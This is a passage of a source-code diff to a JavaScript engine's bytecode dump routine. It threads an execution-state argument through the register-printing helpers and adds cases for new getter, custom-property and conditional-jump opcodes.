+            printBinaryOp(exec, location, it, "stricteq");
             break;
         }
         case op_nstricteq: {
-            printBinaryOp(location, it, "nstricteq");
+            printBinaryOp(exec, location, it, "nstricteq");
             break;
         }
         case op_less: {
-            printBinaryOp(location, it, "less");
+            printBinaryOp(exec, location, it, "less");
             break;
         }
         case op_lesseq: {
-            printBinaryOp(location, it, "lesseq");
+            printBinaryOp(exec, location, it, "lesseq");
             break;
         }
         case op_pre_inc: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] pre_inc\t\t %s\n", location, registerName(r0).c_str());
+            printf("[%4d] pre_inc\t\t %s\n", location, registerName(exec, r0).c_str());
             break;
         }
         case op_pre_dec: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] pre_dec\t\t %s\n", location, registerName(r0).c_str());
+            printf("[%4d] pre_dec\t\t %s\n", location, registerName(exec, r0).c_str());
             break;
         }
         case op_post_inc: {
-            printUnaryOp(location, it, "post_inc");
+            printUnaryOp(exec, location, it, "post_inc");
             break;
         }
         case op_post_dec: {
-            printUnaryOp(location, it, "post_dec");
+            printUnaryOp(exec, location, it, "post_dec");
             break;
         }
         case op_to_jsnumber: {
-            printUnaryOp(location, it, "to_jsnumber");
+            printUnaryOp(exec, location, it, "to_jsnumber");
             break;
         }
         case op_negate: {
-            printUnaryOp(location, it, "negate");
+            printUnaryOp(exec, location, it, "negate");
             break;
         }
         case op_add: {
-            printBinaryOp(location, it, "add");
+            printBinaryOp(exec, location, it, "add");
             ++it;
             break;
         }
         case op_mul: {
-            printBinaryOp(location, it, "mul");
+            printBinaryOp(exec, location, it, "mul");
             ++it;
             break;
         }
         case op_div: {
-            printBinaryOp(location, it, "div");
+            printBinaryOp(exec, location, it, "div");
             ++it;
             break;
         }
         case op_mod: {
-            printBinaryOp(location, it, "mod");
+            printBinaryOp(exec, location, it, "mod");
             break;
         }
         case op_sub: {
-            printBinaryOp(location, it, "sub");
+            printBinaryOp(exec, location, it, "sub");
             ++it;
             break;
         }
         case op_lshift: {
-            printBinaryOp(location, it, "lshift");
+            printBinaryOp(exec, location, it, "lshift");
             break;            
         }
         case op_rshift: {
-            printBinaryOp(location, it, "rshift");
+            printBinaryOp(exec, location, it, "rshift");
             break;
         }
         case op_urshift: {
-            printBinaryOp(location, it, "urshift");
+            printBinaryOp(exec, location, it, "urshift");
             break;
         }
         case op_bitand: {
-            printBinaryOp(location, it, "bitand");
+            printBinaryOp(exec, location, it, "bitand");
             ++it;
             break;
         }
         case op_bitxor: {
-            printBinaryOp(location, it, "bitxor");
+            printBinaryOp(exec, location, it, "bitxor");
             ++it;
             break;
         }
         case op_bitor: {
-            printBinaryOp(location, it, "bitor");
+            printBinaryOp(exec, location, it, "bitor");
             ++it;
             break;
         }
         case op_bitnot: {
-            printUnaryOp(location, it, "bitnot");
+            printUnaryOp(exec, location, it, "bitnot");
             break;
         }
         case op_instanceof: {
@@ -643,59 +644,59 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             int r1 = (++it)->u.operand;
             int r2 = (++it)->u.operand;
             int r3 = (++it)->u.operand;
-            printf("[%4d] instanceof\t\t %s, %s, %s, %s\n", location, registerName(r0).c_str(), registerName(r1).c_str(), registerName(r2).c_str(), registerName(r3).c_str());
+            printf("[%4d] instanceof\t\t %s, %s, %s, %s\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), registerName(exec, r2).c_str(), registerName(exec, r3).c_str());
             break;
         }
         case op_typeof: {
-            printUnaryOp(location, it, "typeof");
+            printUnaryOp(exec, location, it, "typeof");
             break;
         }
         case op_is_undefined: {
-            printUnaryOp(location, it, "is_undefined");
+            printUnaryOp(exec, location, it, "is_undefined");
             break;
         }
         case op_is_boolean: {
-            printUnaryOp(location, it, "is_boolean");
+            printUnaryOp(exec, location, it, "is_boolean");
             break;
         }
         case op_is_number: {
-            printUnaryOp(location, it, "is_number");
+            printUnaryOp(exec, location, it, "is_number");
             break;
         }
         case op_is_string: {
-            printUnaryOp(location, it, "is_string");
+            printUnaryOp(exec, location, it, "is_string");
             break;
         }
         case op_is_object: {
-            printUnaryOp(location, it, "is_object");
+            printUnaryOp(exec, location, it, "is_object");
             break;
         }
         case op_is_function: {
-            printUnaryOp(location, it, "is_function");
+            printUnaryOp(exec, location, it, "is_function");
             break;
         }
         case op_in: {
-            printBinaryOp(location, it, "in");
+            printBinaryOp(exec, location, it, "in");
             break;
         }
         case op_resolve: {
             int r0 = (++it)->u.operand;
             int id0 = (++it)->u.operand;
-            printf("[%4d] resolve\t\t %s, %s\n", location, registerName(r0).c_str(), idName(id0, m_identifiers[id0]).c_str());
+            printf("[%4d] resolve\t\t %s, %s\n", location, registerName(exec, r0).c_str(), idName(id0, m_identifiers[id0]).c_str());
             break;
         }
         case op_resolve_skip: {
             int r0 = (++it)->u.operand;
             int id0 = (++it)->u.operand;
             int skipLevels = (++it)->u.operand;
-            printf("[%4d] resolve_skip\t %s, %s, %d\n", location, registerName(r0).c_str(), idName(id0, m_identifiers[id0]).c_str(), skipLevels);
+            printf("[%4d] resolve_skip\t %s, %s, %d\n", location, registerName(exec, r0).c_str(), idName(id0, m_identifiers[id0]).c_str(), skipLevels);
             break;
         }
         case op_resolve_global: {
             int r0 = (++it)->u.operand;
             JSValue scope = JSValue((++it)->u.jsCell);
             int id0 = (++it)->u.operand;
-            printf("[%4d] resolve_global\t %s, %s, %s\n", location, registerName(r0).c_str(), valueToSourceString(exec, scope).ascii(), idName(id0, m_identifiers[id0]).c_str());
+            printf("[%4d] resolve_global\t %s, %s, %s\n", location, registerName(exec, r0).c_str(), valueToSourceString(exec, scope).ascii(), idName(id0, m_identifiers[id0]).c_str());
             it += 2;
             break;
         }
@@ -703,125 +704,165 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             int r0 = (++it)->u.operand;
             int index = (++it)->u.operand;
             int skipLevels = (++it)->u.operand;
-            printf("[%4d] get_scoped_var\t %s, %d, %d\n", location, registerName(r0).c_str(), index, skipLevels);
+            printf("[%4d] get_scoped_var\t %s, %d, %d\n", location, registerName(exec, r0).c_str(), index, skipLevels);
             break;
         }
         case op_put_scoped_var: {
             int index = (++it)->u.operand;
             int skipLevels = (++it)->u.operand;
             int r0 = (++it)->u.operand;
-            printf("[%4d] put_scoped_var\t %d, %d, %s\n", location, index, skipLevels, registerName(r0).c_str());
+            printf("[%4d] put_scoped_var\t %d, %d, %s\n", location, index, skipLevels, registerName(exec, r0).c_str());
             break;
         }
         case op_get_global_var: {
             int r0 = (++it)->u.operand;
             JSValue scope = JSValue((++it)->u.jsCell);
             int index = (++it)->u.operand;
-            printf("[%4d] get_global_var\t %s, %s, %d\n", location, registerName(r0).c_str(), valueToSourceString(exec, scope).ascii(), index);
+            printf("[%4d] get_global_var\t %s, %s, %d\n", location, registerName(exec, r0).c_str(), valueToSourceString(exec, scope).ascii(), index);
             break;
         }
         case op_put_global_var: {
             JSValue scope = JSValue((++it)->u.jsCell);
             int index = (++it)->u.operand;
             int r0 = (++it)->u.operand;
-            printf("[%4d] put_global_var\t %s, %d, %s\n", location, valueToSourceString(exec, scope).ascii(), index, registerName(r0).c_str());
+            printf("[%4d] put_global_var\t %s, %d, %s\n", location, valueToSourceString(exec, scope).ascii(), index, registerName(exec, r0).c_str());
             break;
         }
         case op_resolve_base: {
             int r0 = (++it)->u.operand;
             int id0 = (++it)->u.operand;
-            printf("[%4d] resolve_base\t %s, %s\n", location, registerName(r0).c_str(), idName(id0, m_identifiers[id0]).c_str());
+            printf("[%4d] resolve_base\t %s, %s\n", location, registerName(exec, r0).c_str(), idName(id0, m_identifiers[id0]).c_str());
             break;
         }
         case op_resolve_with_base: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int id0 = (++it)->u.operand;
-            printf("[%4d] resolve_with_base %s, %s, %s\n", location, registerName(r0).c_str(), registerName(r1).c_str(), idName(id0, m_identifiers[id0]).c_str());
+            printf("[%4d] resolve_with_base %s, %s, %s\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), idName(id0, m_identifiers[id0]).c_str());
             break;
         }
         case op_get_by_id: {
-            printGetByIdOp(location, it, m_identifiers, "get_by_id");
+            printGetByIdOp(exec, location, it, "get_by_id");
             break;
         }
         case op_get_by_id_self: {
-            printGetByIdOp(location, it, m_identifiers, "get_by_id_self");
+            printGetByIdOp(exec, location, it, "get_by_id_self");
             break;
         }
         case op_get_by_id_self_list: {
-            printGetByIdOp(location, it, m_identifiers, "get_by_id_self_list");
+            printGetByIdOp(exec, location, it, "get_by_id_self_list");
             break;
         }
         case op_get_by_id_proto: {
-            printGetByIdOp(location, it, m_identifiers, "get_by_id_proto");
+            printGetByIdOp(exec, location, it, "get_by_id_proto");
             break;
         }
         case op_get_by_id_proto_list: {
-            printGetByIdOp(location, it, m_identifiers, "op_get_by_id_proto_list");
+            printGetByIdOp(exec, location, it, "op_get_by_id_proto_list");
             break;
         }
         case op_get_by_id_chain: {
-            printGetByIdOp(location, it, m_identifiers, "get_by_id_chain");
+            printGetByIdOp(exec, location, it, "get_by_id_chain");
+            break;
+        }
+        case op_get_by_id_getter_self: {
+            printGetByIdOp(exec, location, it, "get_by_id_getter_self");
+            break;
+        }
+        case op_get_by_id_getter_self_list: {
+            printGetByIdOp(exec, location, it, "get_by_id_getter_self_list");
+            break;
+        }
+        case op_get_by_id_getter_proto: {
+            printGetByIdOp(exec, location, it, "get_by_id_getter_proto");
+            break;
+        }
+        case op_get_by_id_getter_proto_list: {
+            printGetByIdOp(exec, location, it, "get_by_id_getter_proto_list");
+            break;
+        }
+        case op_get_by_id_getter_chain: {
+            printGetByIdOp(exec, location, it, "get_by_id_getter_chain");
+            break;
+        }
+        case op_get_by_id_custom_self: {
+            printGetByIdOp(exec, location, it, "get_by_id_custom_self");
+            break;
+        }
+        case op_get_by_id_custom_self_list: {
+            printGetByIdOp(exec, location, it, "get_by_id_custom_self_list");
+            break;
+        }
+        case op_get_by_id_custom_proto: {
+            printGetByIdOp(exec, location, it, "get_by_id_custom_proto");
+            break;
+        }
+        case op_get_by_id_custom_proto_list: {
+            printGetByIdOp(exec, location, it, "get_by_id_custom_proto_list");
+            break;
+        }
+        case op_get_by_id_custom_chain: {
+            printGetByIdOp(exec, location, it, "get_by_id_custom_chain");
             break;
         }
         case op_get_by_id_generic: {
-            printGetByIdOp(location, it, m_identifiers, "get_by_id_generic");
+            printGetByIdOp(exec, location, it, "get_by_id_generic");
             break;
         }
         case op_get_array_length: {
-            printGetByIdOp(location, it, m_identifiers, "get_array_length");
+            printGetByIdOp(exec, location, it, "get_array_length");
             break;
         }
         case op_get_string_length: {
-            printGetByIdOp(location, it, m_identifiers, "get_string_length");
+            printGetByIdOp(exec, location, it, "get_string_length");
             break;
         }
         case op_put_by_id: {
-            printPutByIdOp(location, it, m_identifiers, "put_by_id");
+            printPutByIdOp(exec, location, it, "put_by_id");
             break;
         }
         case op_put_by_id_replace: {
-            printPutByIdOp(location, it, m_identifiers, "put_by_id_replace");
+            printPutByIdOp(exec, location, it, "put_by_id_replace");
             break;
         }
         case op_put_by_id_transition: {
-            printPutByIdOp(location, it, m_identifiers, "put_by_id_transition");
+            printPutByIdOp(exec, location, it, "put_by_id_transition");
             break;
         }
         case op_put_by_id_generic: {
-            printPutByIdOp(location, it, m_identifiers, "put_by_id_generic");
+            printPutByIdOp(exec, location, it, "put_by_id_generic");
             break;
         }
         case op_put_getter: {
             int r0 = (++it)->u.operand;
             int id0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
-            printf("[%4d] put_getter\t %s, %s, %s\n", location, registerName(r0).c_str(), idName(id0, m_identifiers[id0]).c_str(), registerName(r1).c_str());
+            printf("[%4d] put_getter\t %s, %s, %s\n", location, registerName(exec, r0).c_str(), idName(id0, m_identifiers[id0]).c_str(), registerName(exec, r1).c_str());
             break;
         }
         case op_put_setter: {
             int r0 = (++it)->u.operand;
             int id0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
-            printf("[%4d] put_setter\t %s, %s, %s\n", location, registerName(r0).c_str(), idName(id0, m_identifiers[id0]).c_str(), registerName(r1).c_str());
+            printf("[%4d] put_setter\t %s, %s, %s\n", location, registerName(exec, r0).c_str(), idName(id0, m_identifiers[id0]).c_str(), registerName(exec, r1).c_str());
             break;
         }
         case op_method_check: {
-            printf("[%4d] op_method_check\n", location);
+            printf("[%4d] method_check\n", location);
             break;
         }
         case op_del_by_id: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int id0 = (++it)->u.operand;
-            printf("[%4d] del_by_id\t %s, %s, %s\n", location, registerName(r0).c_str(), registerName(r1).c_str(), idName(id0, m_identifiers[id0]).c_str());
+            printf("[%4d] del_by_id\t %s, %s, %s\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), idName(id0, m_identifiers[id0]).c_str());
             break;
         }
         case op_get_by_val: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int r2 = (++it)->u.operand;
-            printf("[%4d] get_by_val\t %s, %s, %s\n", location, registerName(r0).c_str(), registerName(r1).c_str(), registerName(r2).c_str());
+            printf("[%4d] get_by_val\t %s, %s, %s\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), registerName(exec, r2).c_str());
             break;
         }
         case op_get_by_pname: {
@@ -831,28 +872,28 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             int r3 = (++it)->u.operand;
             int r4 = (++it)->u.operand;
             int r5 = (++it)->u.operand;
-            printf("[%4d] get_by_pname\t %s, %s, %s, %s, %s, %s\n", location, registerName(r0).c_str(), registerName(r1).c_str(), registerName(r2).c_str(), registerName(r3).c_str(), registerName(r4).c_str(), registerName(r5).c_str());
+            printf("[%4d] get_by_pname\t %s, %s, %s, %s, %s, %s\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), registerName(exec, r2).c_str(), registerName(exec, r3).c_str(), registerName(exec, r4).c_str(), registerName(exec, r5).c_str());
             break;
         }
         case op_put_by_val: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int r2 = (++it)->u.operand;
-            printf("[%4d] put_by_val\t %s, %s, %s\n", location, registerName(r0).c_str(), registerName(r1).c_str(), registerName(r2).c_str());
+            printf("[%4d] put_by_val\t %s, %s, %s\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), registerName(exec, r2).c_str());
             break;
         }
         case op_del_by_val: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int r2 = (++it)->u.operand;
-            printf("[%4d] del_by_val\t %s, %s, %s\n", location, registerName(r0).c_str(), registerName(r1).c_str(), registerName(r2).c_str());
+            printf("[%4d] del_by_val\t %s, %s, %s\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), registerName(exec, r2).c_str());
             break;
         }
         case op_put_by_index: {
             int r0 = (++it)->u.operand;
             unsigned n0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
-            printf("[%4d] put_by_index\t %s, %u, %s\n", location, registerName(r0).c_str(), n0, registerName(r1).c_str());
+            printf("[%4d] put_by_index\t %s, %u, %s\n", location, registerName(exec, r0).c_str(), n0, registerName(exec, r1).c_str());
             break;
         }
         case op_jmp: {
@@ -866,91 +907,102 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             break;
         }
         case op_jtrue: {
-            printConditionalJump(begin, it, location, "jtrue");
+            printConditionalJump(exec, begin, it, location, "jtrue");
             break;
         }
         case op_loop_if_true: {
-            printConditionalJump(begin, it, location, "loop_if_true");
+            printConditionalJump(exec, begin, it, location, "loop_if_true");
+            break;
+        }
+        case op_loop_if_false: {
+            printConditionalJump(exec, begin, it, location, "loop_if_false");
             break;
         }
         case op_jfalse: {
-            printConditionalJump(begin, it, location, "jfalse");
+            printConditionalJump(exec, begin, it, location, "jfalse");
             break;
         }
         case op_jeq_null: {
-            printConditionalJump(begin, it, location, "jeq_null");
+            printConditionalJump(exec, begin, it, location, "jeq_null");
             break;
         }
         case op_jneq_null: {
-            printConditionalJump(begin, it, location, "jneq_null");
+            printConditionalJump(exec, begin, it, location, "jneq_null");
             break;
         }
         case op_jneq_ptr: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int offset = (++it)->u.operand;
-            printf("[%4d] jneq_ptr\t\t %s, %s, %d(->%d)\n", location, registerName(r0).c_str(), registerName(r1).c_str(), offset, location + offset);
+            printf("[%4d] jneq_ptr\t\t %s, %s, %d(->%d)\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), offset, location + offset);
             break;
         }
         case op_jnless: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int offset = (++it)->u.operand;
-            printf("[%4d] jnless\t\t %s, %s, %d(->%d)\n", location, registerName(r0).c_str(), registerName(r1).c_str(), offset, location + offset);
+            printf("[%4d] jnless\t\t %s, %s, %d(->%d)\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), offset, location + offset);
             break;
         }
         case op_jnlesseq: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int offset = (++it)->u.operand;
-            printf("[%4d] jnlesseq\t\t %s, %s, %d(->%d)\n", location, registerName(r0).c_str(), registerName(r1).c_str(), offset, location + offset);
+            printf("[%4d] jnlesseq\t\t %s, %s, %d(->%d)\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), offset, location + offset);
             break;
         }
         case op_loop_if_less: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int offset = (++it)->u.operand;
-            printf("[%4d] loop_if_less\t %s, %s, %d(->%d)\n", location, registerName(r0).c_str(), registerName(r1).c_str(), offset, location + offset);
+            printf("[%4d] loop_if_less\t %s, %s, %d(->%d)\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), offset, location + offset);
+            break;
+        }
+        case op_jless: {
+            int r0 = (++it)->u.operand;
+            int r1 = (++it)->u.operand;
+            int offset = (++it)->u.operand;
+            printf("[%4d] jless\t\t %s, %s, %d(->%d)\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), offset, location + offset);
             break;
         }
         case op_loop_if_lesseq: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int offset = (++it)->u.operand;
-            printf("[%4d] loop_if_lesseq\t %s, %s, %d(->%d)\n", location, registerName(r0).c_str(), registerName(r1).c_str(), offset, location + offset);
+            printf("[%4d] loop_if_lesseq\t %s, %s, %d(->%d)\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), offset, location + offset);
             break;
         }
         case op_switch_imm: {
             int tableIndex = (++it)->u.operand;
             int defaultTarget = (++it)->u.operand;
             int scrutineeRegister = (++it)->u.operand;
-            printf("[%4d] switch_imm\t %d, %d(->%d), %s\n", location, tableIndex, defaultTarget, location + defaultTarget, registerName(scrutineeRegister).c_str());
+            printf("[%4d] switch_imm\t %d, %d(->%d), %s\n", location, tableIndex, defaultTarget, location + defaultTarget, registerName(exec, scrutineeRegister).c_str());
             break;
         }
         case op_switch_char: {
             int tableIndex = (++it)->u.operand;
             int defaultTarget = (++it)->u.operand;
             int scrutineeRegister = (++it)->u.operand;
-            printf("[%4d] switch_char\t %d, %d(->%d), %s\n", location, tableIndex, defaultTarget, location + defaultTarget, registerName(scrutineeRegister).c_str());
+            printf("[%4d] switch_char\t %d, %d(->%d), %s\n", location, tableIndex, defaultTarget, location + defaultTarget, registerName(exec, scrutineeRegister).c_str());
             break;
         }
         case op_switch_string: {
             int tableIndex = (++it)->u.operand;
             int defaultTarget = (++it)->u.operand;
             int scrutineeRegister = (++it)->u.operand;
-            printf("[%4d] switch_string\t %d, %d(->%d), %s\n", location, tableIndex, defaultTarget, location + defaultTarget, registerName(scrutineeRegister).c_str());
+            printf("[%4d] switch_string\t %d, %d(->%d), %s\n", location, tableIndex, defaultTarget, location + defaultTarget, registerName(exec, scrutineeRegister).c_str());
             break;
         }
         case op_new_func: {
             int r0 = (++it)->u.operand;
             int f0 = (++it)->u.operand;
-            printf("[%4d] new_func\t\t %s, f%d\n", location, registerName(r0).c_str(), f0);
+            printf("[%4d] new_func\t\t %s, f%d\n", location, registerName(exec, r0).c_str(), f0);
             break;
         }
         case op_new_func_exp: {
             int r0 = (++it)->u.operand;
             int f0 = (++it)->u.operand;
-            printf("[%4d] new_func_exp\t %s, f%d\n", location, registerName(r0).c_str(), f0);
+            printf("[%4d] new_func_exp\t %s, f%d\n", location, registerName(exec, r0).c_str(), f0);
             break;
         }
         case op_call: {
@@ -958,7 +1010,7 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             int func = (++it)->u.operand;
             int argCount = (++it)->u.operand;
             int registerOffset = (++it)->u.operand;
-            printf("[%4d] call\t\t %s, %s, %d, %d\n", location, registerName(dst).c_str(), registerName(func).c_str(), argCount, registerOffset);
+            printf("[%4d] call\t\t %s, %s, %d, %d\n", location, registerName(exec, dst).c_str(), registerName(exec, func).c_str(), argCount, registerOffset);
             break;
         }
         case op_call_eval: {
@@ -966,7 +1018,7 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             int func = (++it)->u.operand;
             int argCount = (++it)->u.operand;
             int registerOffset = (++it)->u.operand;
-            printf("[%4d] call_eval\t %s, %s, %d, %d\n", location, registerName(dst).c_str(), registerName(func).c_str(), argCount, registerOffset);
+            printf("[%4d] call_eval\t %s, %s, %d, %d\n", location, registerName(exec, dst).c_str(), registerName(exec, func).c_str(), argCount, registerOffset);
             break;
         }
         case op_call_varargs: {
@@ -974,16 +1026,16 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             int func = (++it)->u.operand;
             int argCount = (++it)->u.operand;
             int registerOffset = (++it)->u.operand;
-            printf("[%4d] call_varargs\t %s, %s, %s, %d\n", location, registerName(dst).c_str(), registerName(func).c_str(), registerName(argCount).c_str(), registerOffset);
+            printf("[%4d] call_varargs\t %s, %s, %s, %d\n", location, registerName(exec, dst).c_str(), registerName(exec, func).c_str(), registerName(exec, argCount).c_str(), registerOffset);
             break;
         }
         case op_load_varargs: {
-            printUnaryOp(location, it, "load_varargs");
+            printUnaryOp(exec, location, it, "load_varargs");
             break;
         }
         case op_tear_off_activation: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] tear_off_activation\t %s\n", location, registerName(r0).c_str());
+            printf("[%4d] tear_off_activation\t %s\n", location, registerName(exec, r0).c_str());
             break;
         }
         case op_tear_off_arguments: {
@@ -992,7 +1044,7 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
         }
         case op_ret: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] ret\t\t %s\n", location, registerName(r0).c_str());
+            printf("[%4d] ret\t\t %s\n", location, registerName(exec, r0).c_str());
             break;
         }
         case op_construct: {
@@ -1002,26 +1054,26 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             int registerOffset = (++it)->u.operand;
             int proto = (++it)->u.operand;
             int thisRegister = (++it)->u.operand;
-            printf("[%4d] construct\t %s, %s, %d, %d, %s, %s\n", location, registerName(dst).c_str(), registerName(func).c_str(), argCount, registerOffset, registerName(proto).c_str(), registerName(thisRegister).c_str());
+            printf("[%4d] construct\t %s, %s, %d, %d, %s, %s\n", location, registerName(exec, dst).c_str(), registerName(exec, func).c_str(), argCount, registerOffset, registerName(exec, proto).c_str(), registerName(exec, thisRegister).c_str());
             break;
         }
         case op_construct_verify: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
-            printf("[%4d] construct_verify\t %s, %s\n", location, registerName(r0).c_str(), registerName(r1).c_str());
+            printf("[%4d] construct_verify\t %s, %s\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str());
             break;
         }
         case op_strcat: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
             int count = (++it)->u.operand;
-            printf("[%4d] op_strcat\t %s, %s, %d\n", location, registerName(r0).c_str(), registerName(r1).c_str(), count);
+            printf("[%4d] strcat\t\t %s, %s, %d\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), count);
             break;
         }
         case op_to_primitive: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
-            printf("[%4d] op_to_primitive\t %s, %s\n", location, registerName(r0).c_str(), registerName(r1).c_str());
+            printf("[%4d] to_primitive\t %s, %s\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str());
             break;
         }
         case op_get_pnames: {
@@ -1030,7 +1082,7 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             int r2 = it[3].u.operand;
             int r3 = it[4].u.operand;
             int offset = it[5].u.operand;
-            printf("[%4d] get_pnames\t %s, %s, %s, %s, %d(->%d)\n", location, registerName(r0).c_str(), registerName(r1).c_str(), registerName(r2).c_str(), registerName(r3).c_str(), offset, location + offset);
+            printf("[%4d] get_pnames\t %s, %s, %s, %s, %d(->%d)\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), registerName(exec, r2).c_str(), registerName(exec, r3).c_str(), offset, location + offset);
             it += OPCODE_LENGTH(op_get_pnames) - 1;
             break;
         }
@@ -1038,13 +1090,13 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             int dest = it[1].u.operand;
             int iter = it[4].u.operand;
             int offset = it[5].u.operand;
-            printf("[%4d] next_pname\t %s, %s, %d(->%d)\n", location, registerName(dest).c_str(), registerName(iter).c_str(), offset, location + offset);
+            printf("[%4d] next_pname\t %s, %s, %d(->%d)\n", location, registerName(exec, dest).c_str(), registerName(exec, iter).c_str(), offset, location + offset);
             it += OPCODE_LENGTH(op_next_pname) - 1;
             break;
         }
         case op_push_scope: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] push_scope\t %s\n", location, registerName(r0).c_str());
+            printf("[%4d] push_scope\t %s\n", location, registerName(exec, r0).c_str());
             break;
         }
         case op_pop_scope: {
@@ -1055,7 +1107,7 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
             int r0 = (++it)->u.operand;
             int id0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
-            printf("[%4d] push_new_scope \t%s, %s, %s\n", location, registerName(r0).c_str(), idName(id0, m_identifiers[id0]).c_str(), registerName(r1).c_str());
+            printf("[%4d] push_new_scope \t%s, %s, %s\n", location, registerName(exec, r0).c_str(), idName(id0, m_identifiers[id0]).c_str(), registerName(exec, r1).c_str());
             break;
         }
         case op_jmp_scopes: {
@@ -1066,30 +1118,30 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
         }
         case op_catch: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] catch\t\t %s\n", location, registerName(r0).c_str());
+            printf("[%4d] catch\t\t %s\n", location, registerName(exec, r0).c_str());
             break;
         }
         case op_throw: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] throw\t\t %s\n", location, registerName(r0).c_str());
+            printf("[%4d] throw\t\t %s\n", location, registerName(exec, r0).c_str());
             break;
         }
         case op_new_error: {
             int r0 = (++it)->u.operand;
             int errorType = (++it)->u.operand;
             int k0 = (++it)->u.operand;
-            printf("[%4d] new_error\t %s, %d, %s\n", location, registerName(r0).c_str(), errorType, constantName(exec, k0, getConstant(k0)).c_str());
+            printf("[%4d] new_error\t %s, %d, %s\n", location, registerName(exec, r0).c_str(), errorType, constantName(exec, k0, getConstant(k0)).c_str());
             break;
         }
         case op_jsr: {
             int retAddrDst = (++it)->u.operand;
             int offset = (++it)->u.operand;
-            printf("[%4d] jsr\t\t %s, %d(->%d)\n", location, registerName(retAddrDst).c_str(), offset, location + offset);
+            printf("[%4d] jsr\t\t %s, %d(->%d)\n", location, registerName(exec, retAddrDst).c_str(), offset, location + offset);
             break;
         }
         case op_sret: {
             int retAddrSrc = (++it)->u.operand;
-            printf("[%4d] sret\t\t %s\n", location, registerName(retAddrSrc).c_str());
+            printf("[%4d] sret\t\t %s\n", location, registerName(exec, retAddrSrc).c_str());
             break;
         }
         case op_debug: {
@@ -1101,17 +1153,17 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
         }
         case op_profile_will_call: {
             int function = (++it)->u.operand;
-            printf("[%4d] profile_will_call %s\n", location, registerName(function).c_str());
+            printf("[%4d] profile_will_call %s\n", location, registerName(exec, function).c_str());
             break;
         }
         case op_profile_did_call: {
             int function = (++it)->u.operand;
-            printf("[%4d] profile_did_call\t %s\n", location, registerName(function).c_str());
+            printf("[%4d] profile_did_call\t %s\n", location, registerName(exec, function).c_str());
             break;
         }
         case op_end: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] end\t\t %s\n", location, registerName(r0).c_str());
+            printf("[%4d] end\t\t %s\n", location, registerName(exec, r0).c_str());
             break;
         }
     }
@@ -1343,16 +1395,16 @@ void CodeBlock::derefStructures(Instruction* vPC) const
 {
     Interpreter* interpreter = m_globalData->interpreter;
 
-    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_self)) {
+    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_self) || vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_getter_self) || vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_custom_self)) {
         vPC[4].u.structure->deref();
         return;
     }
-    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_proto)) {
+    if (vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_proto) || vPC[0].u.opcode == interpreter->getOpcode(op_get_by_id_getter_proto)) {
         vPC[4].u.structure->deref();
         vPC[5].u.structure->deref();
         return;
     }
